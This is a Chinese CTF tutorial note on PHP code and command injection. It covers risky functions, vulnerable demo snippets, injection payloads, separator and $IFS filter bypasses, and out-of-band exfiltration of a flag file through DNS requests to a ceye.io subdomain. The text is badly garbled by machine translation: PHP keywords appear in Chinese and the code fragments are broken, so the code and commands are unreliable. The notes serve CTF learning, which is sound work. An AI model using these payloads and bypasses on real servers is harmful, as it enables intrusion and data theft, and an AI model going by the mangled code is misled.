CTF 中的命令执行漏洞相关
由于无法在代码中可以执行的特殊功能门户网站过滤,因此用户可以提交恶意语句并将其交给服务器进行执行。此漏洞攻击成功的主要原因是Web服务器不会过滤函数的传入参数,例如System(),eval(),exec(),等。
1 代码注入
1.1 相关函数
1.1.1 eval
12
3
4
5
php
hilight_file(文件);
$ a='phpinfo();';
评估($ a);
?
1.1.2 assert

1.1.3 call_user_func

您可以使用is_calable函数查看是否可以回叫
1.1.4 call_user_func_array

1.1.5 create_function

1.1.6 preg_replace

搜索与模式匹配并用更换或其执行结果替换的主题部分。
1.1.7 array_map

有效载荷:url?a=assertb=phpinfo()
1.1.8 usort

有效载荷:url?1 []=phpinfo()1 []=1232=断言
1.1.9 uasort

1.1.10 ${php 代码}

1.2 DEMO
12
3
4
5
6
7
php
lighlight_file(文件);
$ price=$ _get ['price'];
$ code='echo $ name'。 “价格”。 $价格。 ';';
$ b=create_function('$ name',$代码);
$ b('iPhone');
?
有效载荷:url?price=123;} phpinfo();/*
2 命令注入
2.1 相关函数
2.1.1 system

2.1.2 exec

2.1.3 passthru

2.1.4 shell_exec

2.1.5 `` 运算符

2.1.6 ob_start

2.2 命令执行的绕过
2.2.1 命令执行的分隔符
:例如:1
2
3
4
5
php
lighlight_file(文件);
$ rce='echo 123';
系统($rce。$ _get [1]);
?
如何实现命令执行
线路休息%0a
马车返回%0D
连续指导;
背景过程
管道符号|
逻辑||,
2.2.2 命令执行的分隔符
符号$ ifs
$ {ifs}
$ ifs $ 9
%09用于URL交付
$ {9}
2.2.3 其它 Tips
2.2.3.1 命令拼接
1$ a=l; $ b=s; $ a $ b
2.2.3.2 base64 编码
1回声CHDK | base64 -d
2.2.3.3 substr string pos len
此表达式从POS位置取出带有长度Len的子字符串。如果POS或LEN是非阳性整数,则返回一个空字符串。echo“ $ {path:0:1}” - //

1
2
3
echo'`expr \ $ ifs \ subStr \ $ ifs \\ $(pwd)\\ $ ifs \ 1 \ $ ifs \ 1''''
echo` $(expr $ {ifs} substr $ {ifs} $ pwd $ {ifs} 1 $ {ifs} 1)
expr $ {ifs} substr $ {ifs} $ session_manager $ {ifs} 6 $ {ifs} 1 {$ ifs} 1

2.3 命令无回显的情况
2.3.1 判断
延迟LS |睡眠(3)
HTTP请求
DNS请求
ceye.io
2.3.2 利用
写外壳(直接写,外部下载)http/dns和其他将其带出的方法
2.3.3 DEMO
12
3
4
5
6
7
8
php
lighlight_file(文件);
包括('where_is_flag.php');
回声'ping:';
$ ip=(string)$ _ get ['ping'];
$ ip=str_replace('','0.0',$ ip);
shell_exec('ping'。$ ip);
?
有效载荷:
1
2
ip=; cp wery_is_flag.php 1.txt
ip=
cat 1.txt | sed s/[[:Space:]] //
.xx.ceye.io技能
CAT 1.TXT | SED S //[[[:SPACE:]] //G是去除空间的功能